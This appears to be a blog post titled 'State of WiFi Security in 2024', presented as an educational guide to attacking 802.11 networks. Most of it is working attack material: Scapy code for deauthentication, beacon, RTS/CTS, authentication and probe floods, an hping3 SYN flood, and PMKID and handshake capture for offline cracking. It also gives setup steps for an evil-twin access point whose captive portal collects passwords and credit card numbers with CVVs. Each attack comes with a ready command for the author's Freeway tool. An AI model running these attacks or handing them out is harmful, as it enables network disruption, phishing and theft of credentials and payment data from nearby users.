State of WiFi Security in 2024

FLOCK4H
19 min readMay 29, 2024

--

Discovering & Exploiting the IEEE 802.11 Protocol — Heart of Wi-Fi networks.

NOTE: This article was written strictly for educational purpose, most of the methods provided below are open sourced, and publicly available. The author does not agree with using this knowledge in any harmful way.

📕 Introduction

It’s best to start with stating the obvious: WiFi networks are not secure. In my experience, I’ve never stumbled upon a network not vulnerable to at least one of the publicly known exploits. In this article, we will focus on exposing most of the 802.11 protocol vulnerabilities, which affect both the 2.4GHz and 5GHz WiFi networks.

Tools we will use:

- Freeway, hostapd, dnsmasq, hping3, lighttpd

What is IEEE and its standards?

As official IEEE SA website provides, IEEE is the world’s largest technical professional organization dedicated to advancing technology for the benefit of humanity.

Standards are published documents that establish technical specifications and procedures designed to maximize the reliability of the materials, products, methods, and/or services people use every day.

About IEEE 802.11 standards

Wikipedia: The 802.11 family consists of a series of half-duplex over-the-air modulation techniques that use the same basic protocol. The 802.11 protocol family employs carrier-sense multiple access with collision avoidance (CSMA/CA) whereby equipment listens to a channel for other users (including non 802.11 users) before transmitting each frame (some use the term “packet”, which may be ambiguous: “frame” is more technically correct).

In a few words, it’s a standard developed for wireless networks and devices, commonly named WiFi. It operates on radio frequencies instead of a cable, in order to create Wireless LANs.

📗 Simple Exploits

We’ll refer to the easiest part of our work as simple exploits. These are easy to code, they don’t need days and days of development time, they don’t take long to affect the network, and they are quite simple to understand, even for beginners.

The list of simple exploits:

we will describe, or test them all later

  • Deauthentication Attack
  • Beacon Flood
  • RTS/CTS DoS
  • Fake Authentication DoS
  • Probe Request Flood
  • Twin Confusion
  • Ping of Death

📙 Complex Exploits

As the name suggests, those will be significantly harder to find or develop, and use. This should not make us worried though — We will explain, and test one by one very soon.

The list of complex exploits:

  • Packet Replay
  • Evil Twin Attack
  • Packet Monitor (explanation on why it’s here later)
  • PMKID Attack
  • Handshake Capture

There is much more to cover on these lists, but we will focus only on most popular techniques.

🖊 Exploitation

We can refer to the exploitation as Pentesting.

Penetration Testing, is a method of trying various manners to gain access, disrupt, cause Denial-of-Service (DoS), and others…

In two simple words — Vulnerability Assessment.

How is IEEE 802.11 frame constructed?

From GeeksForGeeks:

MAC Frame: The MAC layer frame consists of 9 fields.

Frame Control(FC) — It is 2 bytes long field which defines type of frame and some control information.

SC (Sequence control) — It is 16 bits long field which consists of 2 sub-fields, i.e., Sequence number (12 bits) and Fragment number (4 bits).

Data — It is a variable length field which contain information specific to individual frames which is transferred transparently from a sender to the receiver(s).

So, let’s test our local network security, as long as it’s not affecting any other network (make sure, that only your network is visible when scanning for networks on the adapter you chose for pentesting, if not — please do not continue).

Here’s what is needed to perform the Network Pentesting with this article:

- WiFi adapter supporting Monitor Mode and Frame Injection (e.g., TP-Link WN722N, ALFA Adapters)

- Python with Scapy framework installed

- Optional: ‘Freeway’

Install the Freeway by running one simple command:

$ sudo pip install 3way

IEEE 802.11 standard has many flaws, and we will start with the most intriguing one.

📛 Deauthentication Attack

In every example we will focus on theoretical part of the attack in topic, as well as practical implementation (using Freeway).

The Deauthentication Attack is categorized under the Denial-of-Service (DoS) attacks, that results in temporary (in rare cases permanent), unauthorized disconnection of the victim from the targeted network.

The way this can work, is not due to some magic, that hackers came up with, it’s relatively simple:

In reality, this is possible, because the deauthentication frame “Is used to terminate a WiFi connection. It can be sent by either the access point or the station to let the other side know that the connection is closed.” — Spacehuhn Blog.

We snoop on current network environment using any monitor tool to get the MAC address of the victim and target network (or just the target network), and craft a deauthentication frame using e.g., Scapy.

Then, just simply send the crafted packet to the target network.

    def _deauth_(self, client_mac, ap_mac, interface, pair=None):
dot11 = Dot11(addr1=client_mac, addr2=ap_mac, addr3=ap_mac)
deauth = Dot11Deauth(reason=7)
packet = RadioTap()/dot11/deauth
print(f"Deauthing {client_mac} from {ap_mac}")
bullets = random.randint(25, 40) # Packets
sendp(packet, iface=interface, count=bullets, inter=0.01, verbose=False)

If we don’t have the victim’s mac address or we are not sure, we can just enter broadcast address, in order to disconnect ALL devices from the network:

client_mac = "FF:FF:FF:FF:FF:FF"

Deauthentication Attack using Freeway

We can omit the coding part, and run the attack directly from the command line interface (CLI):

$ sudo Freeway -i wlan1 -a deauth

🌊 Beacon Flood Attack

This method is extremely easy, as it’s ‘only’ creating massive amounts of WiFi Beacons (Fake Networks), that a client can see but cannot connect to. This attack can be categorized under the Network Disruption Techniques, and also the DoS. This is efficient as long as the device can’t handle the large number of displayed networks.

Let’s take an iPhone as an example, when there’s a lot of nearby networks, the iOS is filtering those Access Points that are distant, showing only the closest ones. Additionally, it truncates the list with every scan, so we don’t have to worry that our phone is going to show a thousand of APs (Access Points), or more.

Android (8+), for that matter, is filtering out most of these Fake Beacon frames.

This is not really a flaw in IEEE standard, but a test of device capabilities to handle the maximum amount of displayed networks, or broken beacon frames.

def craft_beacon_packet(self, ssid, src_mac="12:34:56:78:9a:bc", dst_mac="ff:ff:ff:ff:ff:ff", bssid="12:34:56:78:9a:bc"):
# Radiotap, Dot11, beacon, and SSID elements
radiotap = RadioTap()
dot11 = Dot11(type=0, subtype=8, addr1=dst_mac, addr2=src_mac, addr3=bssid)
beacon = Dot11Beacon(cap='short-slot+ESS+privacy', beacon_interval=0x64)
essid = Dot11Elt(ID='SSID', info=ssid.encode('utf-8')) # Ensure SSID is properly encoded

# Supported rates (standard rates + some higher rates for compatibility)
rates = Dot11Elt(ID='Rates', info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24')
esrates = Dot11Elt(ID='ESRates', info=b'\x30\x48\x60\x6c') # Extended Supported Rates

# Channel set to a more common one (e.g., channel 1)
dsset = Dot11Elt(ID='DSset', info=b'\x01') # Common channel

# Traffic Indication Map (TIM)
tim = Dot11Elt(ID='TIM', info=b'\x00\x01\x00\x00')

# ERP Information (Optional, but can help with compatibility)
erp = Dot11Elt(ID='ERPinfo', info=b'\x00')

# Country information set to PL (Poland)
country = Dot11Elt(ID='Country', info=b'PL \x00\x01\x0b\x1e')

# RSN Information
rsn_info = Dot11Elt(ID='RSNinfo', info=(
b'\x01\x00' # RSN Version 1
b'\x00\x0f\xac\x04' # Group Cipher Suite: AES (CCMP)
b'\x01\x00' # 1 Pairwise Cipher Suite
b'\x00\x0f\xac\x04' # Pairwise Cipher Suite: AES (CCMP)
b'\x01\x00' # 1 Authentication Key Management Suite (AKM)
b'\x00\x0f\xac\x02' # AKM Suite: PSK
b'\xac\x00' # RSN Capabilities (MFP capable)
))

# Assembling the packet
packet = radiotap / dot11 / beacon / essid / rates / esrates / dsset / tim / erp / country / rsn_info

return packet

Or using Freeway:

$ sudo Freeway -i wlan1 -a beacon_spam

The result mostly depend on the thread count, when using Freeway, or the speed of sending beacon packets in other tools. In case of the Freeway, thread count 1 will result in approximately one new fake network per network scan (iOS), and with larger thread count, it’s hard to calculate, here is the result of running the Beacon Flood in 10 threads

They all appeared after a single network scan.

NOTE: The number of threads cannot affect the default maximum number of found APs, on iOS systems. The list will truncate, when it gets too big.

✋🏽 RTS/CTS DoS

RTS (Ready To Send)/ CTS (Clear To Send) frames are used by stations and access points, in order to signal, that the channel they exchange data on, will be busy.

There are 11 channels for 2.4GHz, and 19 channels for 5GHz (36–48, 52–64, and 100–140 are typically available).

Easy to understand, when a channel is busy, the traffic stops. Well, most times it will just slow down, instead of stopping. This is because many modern devices can operate by switching the channel, when the one they use is busy.

Using Packet Monitor, we can scan for nearby networks to see on which channels they operate, then just change the channel of our adapter to the one that is our target.

# To list adapters
$ sudo iwconfig

# To change channel
$ sudo iw dev wlan1 set channel 11
    def random_duration(self):
return random.randint(0x0001, 0xFFFE)

def construct_cts_frame(self, ap_mac):
duration = self.random_duration()
cts_frame = RadioTap() / Dot11(type=1, subtype=12, addr1=ap_mac, ID=duration)
return cts_frame

def construct_rts_frame(self, src_mac, dest_mac):
duration = self.random_duration()
rts_frame = RadioTap() / Dot11(type=1, subtype=11, addr1=dest_mac, addr2=src_mac, addr3=dest_mac, ID=duration)
return rts_frame

We introduced random duration to make the attack less predictable

To launch the attack using Freeway:

$ sudo Freeway -i wlan1 -a fuzzer -p 2

🔑 Fake Authentication Attack

A DoS technique, in which we send authentication and/or association frames to the target access point, in order to keep it busy. Legitimate connections cannot be made then, but it’s also done to test the maximum number of associated clients. Sometimes, the value of maximum clients can reach infinite, while other times, the AP will crash at 350 and restart.

Authentication scheme

Authentication Request Frame:

  • Algorithm Number: Indicates the authentication algorithm being used (e.g., Open System authentication).
  • Sequence Number: Identifies the frame in the authentication exchange (usually 1 for the request).

Authentication Response Frame:

  • Algorithm Number: Matches the algorithm number from the request frame.
  • Sequence Number: Increments the sequence number from the request (usually 2 for the response).
  • Status Code: Indicates the success or failure of the authentication (e.g., “Successful” or “Refused”). For successful authentication, the status code is 0.

Association Request Frame:

  • Capability Information: Specifies the capabilities of the client device, such as supported data rates and security features.
  • Listen Interval: Indicates how often the client device will wake up to check for buffered frames from the AP.
  • SSID: The name of the network the client device is trying to join.
  • Supported Rates: A list of data rates the client device can use.
  • RSN Information (optional): If using WPA2 or WPA3, includes information about the security protocols and ciphers supported by the client device.

Association Response Frame:

  • Capability Information: Echoes the capabilities of the AP.
  • Status Code: Indicates success or failure of the association (e.g., “Successful” or “Refused”). For successful association, the status code is 0.
  • Association ID (AID): A unique identifier assigned to the client device by the AP.
  • Supported Rates: A list of data rates the AP and client device have agreed to use.

Using Scapy, we can automate the attack.

    def construct_auth_frame(self, ap_mac, client_mac, algo=0, seq_num=1, status_code=0):
auth_frame = RadioTap() / Dot11(type=0, subtype=11, addr1=ap_mac, addr2=client_mac, addr3=ap_mac) / Dot11Auth(algo=algo, seqnum=seq_num, status=status_code)
return auth_frame

def construct_asso_frame(self, ap_mac, client_mac):
ssid = Dot11Elt(ID="SSID", info=self.ssid, len=len(str(self.ssid)))
asso_frame = RadioTap() / Dot11(type=0, subtype=0, addr1=ap_mac, addr2=client_mac, addr3=ap_mac) / Dot11AssoReq(cap=0x1100, listen_interval=0x00a) / ssid
return asso_frame

Freeway command:

$ sudo Freeway -i wlan1 -a fuzzer -p 3

🧪 Probe Request Flood

An access point needs to answer every probe request with a probe response. A probe response contains information about the network, such as its encryption, SSID, MAC, channels, and more. This can overload the AP, and keep its threads busy, until it respond to all the requests.

In real-world scenarios like crowded shopping malls or densely populated urban areas, such attacks can go unnoticed. Many devices, particularly those with Wi-Fi enabled and set to search for open networks (as is common on iOS), continuously scan for available networks by sending probe requests. This constant background activity creates an environment where a malicious actor can inject a flood of probe requests, blending in with legitimate traffic.

It’s important to note that the probe request is the initial step in the Wi-Fi association process. A client device sends a probe request to discover available networks, and the AP responds with a probe response containing the requested information. This information is then used by the client device to decide which network to join and initiate the authentication and association process.

Scapy packet crafting:

    def construct_probe_req_frame(self, src_mac):
dot11 = Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2=src_mac, addr3=src_mac)
probe_req = Dot11ProbeReq()
ssid = Dot11Elt(ID="SSID", info=self.ssid, len=len(str(self.ssid)))
probe_req_frame = RadioTap() / dot11 / probe_req / ssid
return probe_req_frame

Freeway example:

$ sudo Freeway -i wlan1 -a fuzzer -p 5

🎎 Twin Confusion

This is more of a phishing category, it’s an early part of Evil Twin attack, where we masquerade into a legitimate access point, in order to make clients of the targeted network connect to ours.

The way this can work is simple, closer the client is to the same network, more likely his device will associate with the closest known access point found.

First, scan for the network you want to clone, copy the MAC and SSID of the access point, and then we can host our AP using hostapd and dnsmasq:

$ sudo apt-get update
$ sudo apt-get install hostapd dnsmasq
$ sudo systemctl unmask hostapd
$ sudo systemctl stop hostapd
$ sudo systemctl stop dnsmasq

Now we need to configure both services:

# hostapd config
$ sudo nano /etc/hostapd/hostapd.conf

interface=wlan0
driver=nl80211
ssid=CLONE_SSID_HERE
hw_mode=g
channel=10
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
logger_syslog=-1
logger_syslog_level=0
logger_stdout=-1
logger_stdout_level=0

$ sudo nano /etc/default/hostapd

DAEMON_CONF=/etc/hostapd/hostapd.conf

# dnsmasq config
$ sudo nano /etc/dnsmasq.conf

interface=wlan0
dhcp-range=10.0.0.20,10.0.0.150,12h

And configure our iptables, routing, and ifconfig:

sudo ifconfig wlan1 10.0.0.15 netmask 255.255.255.0 up
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.15
sudo iptables -A FORWARD -i wlan1 -p tcp --dport 80 -d 10.0.0.15 -j ACCEPT

In case of any issues, you can learn more, by reading the code available at:

Freeway — The Evil Twin

This way, we have successfully set our access point up, there is only one thing left to do. Change the MAC address:

$ sudo ifconfig wlan0 down
$ sudo ifconfig wlan0 hw ether MAC_ADDRESS_HERE
$ sudo ifconfig wlan0 up

Voila, a clone of existing network is here.

☠️ Ping of Death

This attack can be performed on literally any network, LAN, WLAN, WAN.

Remember the classic method to check for internet access?

$ ping google.com
64 bytes from waw02s22-in-f14.XXX.net (142.250.XXX.XXX): icmp_seq=1 ttl=128 time=32.4 ms
64 bytes from waw02s22-in-f14.XXX.net (142.250.XXX.XXX): icmp_seq=2 ttl=128 time=32.7 ms

Well, the Ping of Death is more violent, but less verbose. To perform this attack, we need to be associated with any network, it can be a mobile hotspot, it does not matter.

First, we want to scan for targets in our network:

$ sudo arp-scan --localnet

The first address that pops up, should be the AP address, but it’s not guaranteed. We can choose this first address, and see if after 2 minutes we’ll still have internet access, or if we know any IP address of one of our devices, we can target this one, instead of attacking whole network.

We will be using hping for this attack.

$ sudo apt-get install hping3
$ sudo hping3 -I wlan1 -S TARGET_IP -p 400 --flood --rand-source

HPING 192.168.186.1 (lo 192.168.186.1): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.186.1 hping statistic ---
1261709 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

This attack should result in no internet access, as the traffic is completely blocked by the flood of packets overwhelming the target.

Simple Exploits Summary

At this point, we should have got familiar with common Wi-Fi network flaws. There is a few more to cover like DNS cache poisoning, or ARP spoofing, but in my honest opinion, those were covered enough times already.

Let’s tackle the tougher part now.

🌪️ Packet Replay

First complex exploit, a confusion method where we capture all the nearby WiFi frames in first second, and send them back in the next one.

Packet Replay is commonly considered a fuzzing technique. Fuzzing on the other hand, is providing invalid, unexpected or random data as inputs into the software being tested.

It is used extensively in security testing to identify vulnerabilities that might be exploited by attackers.

We can utilize adapter’s monitor mode in order to capture nearby WiFi packets, then malform them or leave as is, and transmit them in the air again. The frames like CTS/RTS, beacon frames, deauth, etc., when repeated may hold the traffic temporarily, or cause WiFi chips to crash and restart.

Implementation using Scapy:

class Sniffer:
def __init__(self, interface, console, collector, debug=False, target=None, results=None):
self.interface = interface
self.collector = collector
self.console = console
self.debug = debug
self.quant = 0
self.target = target
self.results = results
self.authenticated_clients = 0

def packet_handler(self, packet):
if thread_event.is_set():
return
self.collector.put(packet)
if self.debug:
self.console.print(f"Current packet: {packet}", style="green")
if self.target is not None:
if packet.haslayer(Dot11Auth) and packet.addr2 == self.target and packet.addr1 != self.target:
if self.debug:
self.console.print(f"Found! AP MAC: {packet.addr2} CLIENT: {packet.addr1}", style="red")
self.console.print(f"Adding to results!", style="red")

client_mac = packet.addr1
if client_mac not in self.results:
self.results[client_mac] = True
self.authenticated_clients += 1

def run_sniff(self):
while not thread_event.is_set():
try:
sniff(iface=self.interface, prn=self.packet_handler, store=0, monitor=True)
time.sleep(1)
except OSError as e:
wprint(f"Network error: {e}")

# In another class
def packet_reply(self, interface):
while not thread_event.is_set():
if not self.collector.empty():
packet = self.collector.get()
safe_send(packet, iface=interface, count=1, verbose=False)
self.console.print(f"Packet sent! Packet: {packet}", style="blue")

Run it using Freeway:

sudo Freeway -i wlan1 -a fuzzer -p 1

🎭 The Evil Twin Attack

As mentioned a while ago with Twin Confusion, first part of the attack is to masquerade into an existing access point. Then, we can host a captive portal, which will redirect every user that wants to join the network to our website. This way, credential harvesting, social engineering attacks, malware injections, and many more, can be made.

Now, let me just quote myself:

The way this can work is simple, closer the client is to the same network, more likely his device will associate with the closest known access point found.

By combining Deauthentication Attack with the Evil Twin, we can make clients associate with our network, by kicking them off a legitimate one.

In order to perform the attack, after completing all setup steps of the Twin Confusion, we will host a webserver with the same IP our access point has, but on port 80 (http).

For that matter, lighttpd can be used:

$ sudo apt-get install lighttpd

Then in python:

class CaptivePortalHandler(SimpleHTTPRequestHandler):
def do_GET(self):
try:
if self.path == '/hotspot-detect.html':
self.path = '/index.html'
elif self.path == '/action.html':
self.path = '/action.html'
elif not os.path.exists(self.path[1:]):
self.path = '/index.html'
return SimpleHTTPRequestHandler.do_GET(self)
except Exception as e:
self.send_error(500, f"Internal server error: {str(e)}")

def do_POST(self):
try:
if self.path == '/action.html':
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
fields = dict(x.split('=') for x in post_data.decode().split('&'))
username = fields.get('username', '')
password = fields.get('password', '')
credit_card = fields.get('credit', '')
expiry_date = fields.get('expire', '')
cvv = fields.get('cvv', '')
if credit_card == '':
print(f"{cc.BRIGHT}{cc.GREEN}Captured credentials - {cc.BLUE}Username: {cc.WHITE}{username}, {cc.RED}Password: {cc.WHITE}{password}{cc.RESET}")
else:
print(f"{cc.BRIGHT}{cc.GREEN}Captured credentials - {cc.CYAN}Card number: {credit_card}, Expire date: {expiry_date}, CVV: {cvv}")
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
with open('action.html', 'rb') as file:
self.wfile.write(file.read())
elif self.path == '/data':
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
data = json.loads(post_data.decode())
print(f"{cc.BRIGHT}{cc.GREEN}Collected Data: {cc.WHITE}{data}{cc.RESET}")
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({'status': 'success'}).encode())
else:
self.send_response(404)
self.end_headers()
except Exception as e:
self.send_error(500, f"Internal server error: {str(e)}")

def handle_one_request(self):
try:
super().handle_one_request()
except Exception as e:
self.send_error(400, f"Bad request: {str(e)}")


class WebServer:
def __init__(self, ip_addr):
self.ip_addr = ip_addr
server_thread = threading.Thread(target=self.start_captive_portal)
server_thread.daemon = True
server_thread.start()

def get_template_name(self, template_dir):
if os.path.exists(template_dir):
templates = os.listdir(template_dir)
cprint("Listing templates...")
for i, item in enumerate(templates):
cprint(f"{i}) {item}")
temp_num = int(cinput("Enter template number"))
if 0 <= temp_num < len(templates):
return templates[temp_num]
return None

def start_captive_portal(self):
templates_dir = f"{script_dir}/templates"
if not os.path.exists(templates_dir):
os.makedirs(templates_dir, exist_ok=True)
choice_template = self.get_template_name(templates_dir)
if choice_template:
os.chdir(os.path.join(templates_dir, choice_template))
handler = CaptivePortalHandler
httpd = HTTPServer((self.ip_addr, 80), handler)
iprint(f"Serving captive portal on {cc.GREEN}http://{self.ip_addr}:80 {cc.RESET}")
print(cc.LIGHT_BLUE, cc.BRIGHT, "Evil Twin has started!", cc.BLUE)
httpd.serve_forever()
else:
print("No valid template selected. Exiting.")

After joining the captive wifi, the code of ‘index.html’ will be displayed on client’s screen, current code above is set up to listen for username, password fields requests, as well as credit card number, expiry, and cvv.

The code will also capture and log all submitted data to the console.

Freeway usage:

$ sudo Freeway -i wlan1 -a eviltwin

📡 Packet Monitoring

Understanding the flow of current environment enables the auditor to get information, that are usually inaccessible to standard client (common WiFi adapters). With all the tools we have in current times, and a single adapter supporting monitor mode and frame injection, it’s easy to sniff all the traffic in the air. Example tool could be Wireshark, Aircrack-ng, or kismet.

It’s the ability to understand and analyze captured data, that requires substantial knowledge of WiFi frames structure and it’s IEEE 802.11 standard, this is why Packet Monitoring is on a complex exploits list, without tools mentioned above, familiarizing with them, and a special adapter, we are not able to sniff/ inject packets.

Monitoring gives following information:

  • SSID
  • MAC
  • CLIENTS
  • ENCRYPTION
  • Data QoS (via audit in Freeway or airodump-ng monitor)
  • PMKIDs (Freeway)
  • Handshakes (Freeway)
  • LAST SEEN (BEACON)
  • Uptime (via audit in Freeway or airodump-ng monitor)
  • SIGNAL
  • CHANNEL
  • MANUFACTURER
  • HTTP Traffic (capture packets, and analyze with wireshark)

And a few more, like EAPOL (authentication, association) packets, or RTS/CTS frames.

In terms of clients (stations) looking for the network, or already associated with one:

  • NAME (SSID list of the networks that device knows/ is looking for)
  • MAC
  • AP MAC (Mac address of the Access Point the device is connected to)
  • LAST SEEN (Beacon)
  • SIGNAL
  • MANUFACTURER

Usually, the Packet Monitoring comes in first when pentesting a network. This is done, in order to gain necessary information about the current network environment, the MAC address of the device we want to test, clients connected to it, whether the network is up or temporary down, or the infrastructure.

First, enable monitor mode, then copy and run python code to capture and log all packets to the console.

$ sudo iwconfig wlan1 mode monitor
from scapy.all import *
import queue
import time
import threading

class Sniffer:
def __init__(self, interface, collector):
self.interface = interface
self.collector = collector

def packet_handler(self, packet):
self.collector.put(packet)
print(f"Captured packet: {packet}")

def run_sniff(self):
while True:
try:
sniff(iface=self.interface, prn=self.packet_handler, store=0, monitor=True)
time.sleep(1)
except OSError as e:
print(f"Network error: {e}")

queue = queue.Queue()
sniffer = Sniffer("wlan0", queue)
threading.Thread(target=sniffer.run_sniff, daemon=True).start()

Freeway

$ sudo Freeway -i wlan1 -a monitor

🔐 PMKID Attack

PMKID (Pairwise Master Key Identifier) is a unique identifier used in Wi-Fi networks that implement the WPA/WPA2 security protocols. It is derived from the access point’s MAC address, the client device’s MAC address, and the Pairwise Master Key (PMK) used for encryption.

A PMKID attack involves capturing the PMKID broadcasted by an access point and then using it to try and crack the associated WPA/WPA2 password offline.

By using this technique, we can use brute-force method on captured PMKID, and if we are lucky enough, the password of the network will no longer be a secret.

We can use monitoring tools to capture PMKIDs, then decode those packets using Hashcat and a wordlist, like rockyou.txt

# Example implementation of capturing the packet 
# in Hashcat crackable format

def handle_eapol_frame(self, packet, timestamp):
"""
Capture PMKIDs for all sessions.
"""

src_mac = packet[Dot11].addr2
dst_mac = packet[Dot11].addr1
session_id = f"{src_mac}-{dst_mac}"
session_id_reversed = f"{dst_mac}-{src_mac}"
logging.debug(f"{timestamp}--Detected EAPOL Packet! Logging session-id: {session_id}")

if session_id not in self.pmkids:
self.pmkids[session_id] = {'num_frame': 0, 'first_eapol_frame': None, 'pmkid': None, 'mac_ap': None, 'mac_cl': None, 'packets': []}

if session_id_reversed in self.pmkids:
temp_data = self.pmkids[session_id]
del self.pmkids[session_id]
self.pmkids[session_id_reversed]['num_frame'] = temp_data['num_frame']
session_id = session_id_reversed

self.pmkids[session_id]['num_frame'] += 1

if self.pmkids[session_id]['num_frame'] == 1:
self.pmkids[session_id]['first_eapol_frame'] = bytes(packet[EAPOL])
self.pmkids[session_id]['pmkid'] = self.pmkids[session_id]['first_eapol_frame'][-16:].hex()
self.pmkids[session_id]['mac_ap'] = packet.addr2
self.pmkids[session_id]['mac_cl'] = packet.addr1
logging.debug(f"Detected 1st EAPOL PMKID packet for {self.pmkids[session_id]}")

if self.pmkids[session_id]['num_frame'] == 2:
if not src_mac in self.APs:
logging.debug(f"Detected second EAPOL PMKID packet but we didnt catch the SSID yet! Session: {self.pmkids[session_id]}")
return
self.APs[src_mac]["PMKIDs"].add(timestamp)
logging.debug("\n1st EAPoL Frame: \n" + str(self.pmkids[session_id]['first_eapol_frame']) + "\n")
logging.debug("Possible PMKID: ", self.pmkids[session_id]['pmkid'])
ssid_hex = bytes(self.APs[src_mac]["SSID"], 'utf-8').hex()
logging.debug("SSID: ", self.APs[src_mac]["SSID"])
mac_ap_formatted = self.pmkids[session_id]['mac_ap'].replace(":", "").lower()
mac_cl_formatted = self.pmkids[session_id]['mac_cl'].replace(":", "").lower()
logging.debug("MAC AP: ", mac_ap_formatted)
logging.debug("MAC Client: ", mac_cl_formatted)
logging.debug("\nEncoded PMKID compatible with Hashcat hc22000:")
hash_line = f"{self.pmkids[session_id]['pmkid']}*{mac_ap_formatted}*{mac_cl_formatted}*{ssid_hex}"
logging.debug(hash_line)
save_hash_file(os.path.join(self.pmkids_dir, "pmkid_" + timestamp), hash_line)

In order to capture PMKIDs of the specific network, we can utilize Freeway’s Network Audit:

$ sudo Freeway -i wlan1 -a audit

🤝 Handshake Capture

The authentication process of the WiFi network is divided into 4 transactions between the station and the access point:

  1. AP -> STA: The access point (AP) sends an EAPOL (Extensible Authentication Protocol over LAN) message to the station (STA), which includes the ANonce (AP’s nonce)
  2. STA -> AP: The station responds with an EAPOL message containing the SNonce (station’s nonce), the MIC (Message Integrity Code), and its identity
  3. AP -> STA: The access point verifies the received MIC and, if correct, sends the GTK (Group Temporal Key) encrypted with the PTK (Pairwise Transient Key) along with another EAPOL message
  4. STA -> AP: The station acknowledges the receipt of the third message and installs the PTK and GTK

Using the monitor mode, we are able to capture these four packets, although it’s rare to successfully capture them all at once, usually it takes around 15 minutes/ 2 hours depending on the traffic.

Scapy implementation:

def handle_eapol_frame(self, packet, timestamp):
"""
Capture WPA 2/3 handshakes for all sessions.
"""
src_mac = packet[Dot11].addr2
dst_mac = packet[Dot11].addr1
session_id = f"{src_mac}-{dst_mac}"
session_id_reversed = f"{dst_mac}-{src_mac}"
logging.debug(f"{timestamp}--Detected EAPOL Packet! Logging session-id: {session_id}")

if session_id not in self.handshakes:
self.handshakes[session_id] = {'to_frames': 0, 'from_frames': 0, 'packets': []}

to_ds = packet.FCfield & 0x1 != 0
from_ds = packet.FCfield & 0x2 != 0

if to_ds and not from_ds:
self.handshakes[session_id]['to_frames'] += 1
elif not to_ds and from_ds:
self.handshakes[session_id]['from_frames'] += 1

self.handshakes[session_id]['packets'].append(packet)

filename = os.path.join(handshake_dir, f"{session_id}_handshake.pcap")
dump = PcapWriter(filename, append=True, sync=True)
dump.write(packet)

if self.handshakes[session_id]['to_frames'] >= 2 and self.handshakes[session_id]['from_frames'] >= 2:
if self.APs[src_mac]:
self.APs[src_mac]["Handshakes"].add(timestamp)
logging.debug(f"Captured complete WPA handshake for session {session_id}")
self.handshakes[session_id] = {'to_frames': 0, 'from_frames': 0, 'packets': []}

Freeway will capture both PMKIDs and Handshakes. When using Packet Monitor, it will collect EAPOL packets of ALL nearby networks, and with audit, only a specific one.

$ sudo Freeway -i wlan1 -a audit

Complex Exploits Summary

Those specific techniques may seem hard to understand, and replicate. If you feel more comfortable reading Python code, than articles like this one, don’t hesitate to check out Freeway’s codebase, for deeper understanding of the Scapy framework. Fairly, from getting a closer view on the signals flying in the air, past the local phishing methods, to the password capturing, and cracking — That’s how much you’ve learned today.

🧠 Conclusion

Answering the question in topic ‘What’s the state of WiFi security in 2024?’, we must answer a much more important one, ‘How long until all exploits are patched?’, and ‘Will they ever be patched?’.

The answer is simple, and straightforward:

Most exploits can operate, because they use common protocol standard (IEEE 802.11), and not specific device or manufacturer flaws. Until a new standard overtakes the IEEE 802.11, there is a very small chance, that anything will get better. Some of the methods covered in this article, are 10 years old and more.

THE END

👏 for reaching this far, I hope the knowledge shared in this article will not be used in any harmful way. ‘WiFi Hacking’ is a relatively easy field with all the tools we have now, soo.. Assessing your neighbour’s network vulnerabilities does not make you a valuable asset in the Network Security world, remember that.

Anyways, wish you a great luck, wherever you are in your pentesting journey 🚀

And if I happened to tell you something new, please leave a clap 👏, share, or follow.

-FLOCK4H

--

--